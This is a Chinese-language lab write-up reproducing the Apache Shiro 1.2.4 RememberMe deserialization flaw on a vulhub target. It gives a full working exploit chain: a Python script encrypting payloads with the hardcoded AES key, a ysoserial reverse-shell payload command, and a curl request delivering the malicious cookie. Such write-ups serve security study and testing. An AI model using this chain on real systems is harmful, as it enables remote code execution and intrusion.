影响范围

  • Apache Shiro 1.0.0 - 1.2.4
  • 部分集成过时 Shiro 组件的第三方框架 / 脚手架

漏洞类型

Java 反序列化

操作系统限制

配置要求

默认配置

漏洞利用

反弹 shell

利用原理

在 Shiro1.2.4 及以前的版本中,AbstractRememberMeManager 类在代码中硬编码了 AES-128-CBC 加密的密钥 kPH + bIxk5D2deZiIxcaaaA==,意味着所以使用默认配置的 Shiro 系统用同一个密钥进行加解密 Cookie。Shiro 方便用户在关闭浏览器保持登录状态(RememberMe 逻辑),将用户身份序列化后存入 Cookie,当用户再次访问,服务器回自动读取并反序列化还原对象。解密 Cookie 后,Shiro 直接调用 Java 的 ObjectInputStream.readObject() 来还原对象,密钥对还原对象类型进行安全防护。攻击者在 Cookie 中注入精心构造的恶意代码,Shiro 拦截含 rememberMe 字段的 HTTP 请求,恶意代码经过 base64 解码再用 AES 解密(密钥已知),ObjectInputStream 反序列化还原恶意对象,执行恶意代码

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/shiro/CVE-2016-4437
#拉取镜像
docker-compose up -d

1773378587929

开启监听端口

1773378621810

下载攻击工具

1
2
3
4
5
6
7
#准备 ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#安装依赖
pip3 install pycryptodome
#创建并编写加密python脚本
touch encrypt.py
vi encrypt.py

1773378661576

编写加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys, uuid, base64
from Crypto.Cipher import AES

def get_payload(filename):
# Shiro 默认硬编码 Key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
with open(filename, 'rb') as f:
content = f.read()
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
# PKCS7 填充处理
pad_len = 16 - (len(content) % 16)
content = content + (chr(pad_len) * pad_len).encode()
ciphertext = encryptor.encrypt(content)
return base64.b64encode(iv + ciphertext)

if __name__ == '__main__':
print(get_payload(sys.argv[1]).decode())

1773378692478

生成 payload

1
2
3
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.bin
#AES加密
python3 encrypt.py payload.bin > cookie.txt

1773378733569

发起攻击

1
curl -v http://靶机ip:8080/ -b "rememberMe=$(cat cookie.txt)"

返回 302

1773378845681

反弹 shell 连接成功

1773378885591